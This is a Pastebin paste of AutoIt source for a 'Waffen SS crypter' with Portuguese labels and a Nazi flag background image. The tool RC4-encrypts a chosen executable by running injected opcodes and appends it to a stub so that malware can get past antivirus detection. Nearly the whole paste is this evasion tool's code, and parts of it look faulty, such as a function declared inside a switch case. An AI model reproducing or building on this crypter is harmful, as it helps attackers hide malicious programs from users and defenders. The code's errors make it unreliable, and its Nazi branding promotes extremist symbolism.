Advertisement
Guest User

Rud3b0y777

a guest
Feb 13th, 2011
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. #include <ButtonConstants.au3>
  2. #include <EditConstants.au3>
  3. #include <GUIConstantsEx.au3>
  4. #include <StaticConstants.au3>
  5. #include <WindowsConstants.au3>
  6. #include <Sound.au3>
  7.  
  8. #Region ### START Koda GUI section ### Form=c:\documents and settings\eu\meus documentos\form1.kxf
  9. $Form1_1 = GUICreate("Waffen SS crypter by Rudeb0y777 ", 709, 381, 209, 113)
  10. $Button1 = GUICtrlCreateButton("Abrir", 104, 160, 139, 65)
  11. GUICtrlSetFont(-1, 12, 800, 0, "Algerian")
  12. GUICtrlSetColor(-1, 0x0000FF)
  13. GUICtrlSetBkColor(-1, 0xD4D0C8)
  14. $Button2 = GUICtrlCreateButton("Encriptar", 368, 160, 147, 65)
  15. GUICtrlSetFont(-1, 12, 800, 0, "Algerian")
  16. GUICtrlSetColor(-1, 0x0000FF)
  17. GUICtrlSetBkColor(-1, 0xD4D0C8)
  18. $Input1 = GUICtrlCreateInput("Arquivo...", 120, 112, 401, 21)
  19. $Pic1 = GUICtrlCreatePic("C:\Documents and Settings\Eu\Meus documentos\Meus documentos\Downloads\fotos variadas\waffen-ss-flag2.JPG", 0, 0, 705, 377, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
  20. SoundPlay(@WindowsDir & "nova pasta\teste.mp3", 1)
  21. SoundSetWaveVolume(100)
  22.  
  23. GUISetState(@SW_SHOW)
  24. #EndRegion ### END Koda GUI section ###
  25.  
  26. While 1
  27. $nMsg = GUIGetMsg()
  28. Switch $nMsg
  29. Case $GUI_EVENT_CLOSE
  30. Exit
  31.  
  32. Case $Form1_1
  33. Case $Button1
  34. GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*.exe)"))
  35. Case $Button2
  36. if GuiCtrlRead($Input1) = "" then return
  37. $stub = FileOpen(@ScriptDir & "\stub.exe" , 16)
  38. $arquivo2 = FileOpen(GuiCtrlRead($Input1), 16)
  39. $st = FileRead($stub)
  40. $ar = FileRead($arquivo2)
  41.  
  42. $ar = _RC4($ar, "key")
  43. Func _RC4($DATA, $KEY)
  44. Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
  45. Local $CODEBUFFER = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
  46. DllStructSetData($CODEBUFFER, 1, $OPCODE)
  47. Local $BUFFER = DllStructCreate("byte[" & BinaryLen($DATA) & "]")
  48. DllStructSetData($BUFFER, 1, $DATA)
  49. DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CODEBUFFER), "ptr", DllStructGetPtr($BUFFER), "int", BinaryLen($DATA), "str", $KEY, "int", 0)
  50. Local $RET = DllStructGetData($BUFFER, 1)
  51. $BUFFER = 0
  52. $CODEBUFFER = 0
  53. Return $RET
  54.  
  55. EndFunc
  56. $salvar = FileOpen(FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe", 18)
  57.  
  58. FileWrite($salvar, $st)
  59. FileWrite($salvar, StringToBinary("xfalkedh"))
  60. FileWrite($salvar, $ar)
  61.  
  62. FileClose($stub)
  63. FileClose($Input1)
  64. FileClose($Salvar)
  65. MsgBox(64, "Encriptado!!!", "By Rud3b0y777")
  66.  
  67.  
  68. EndSwitch
  69. WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement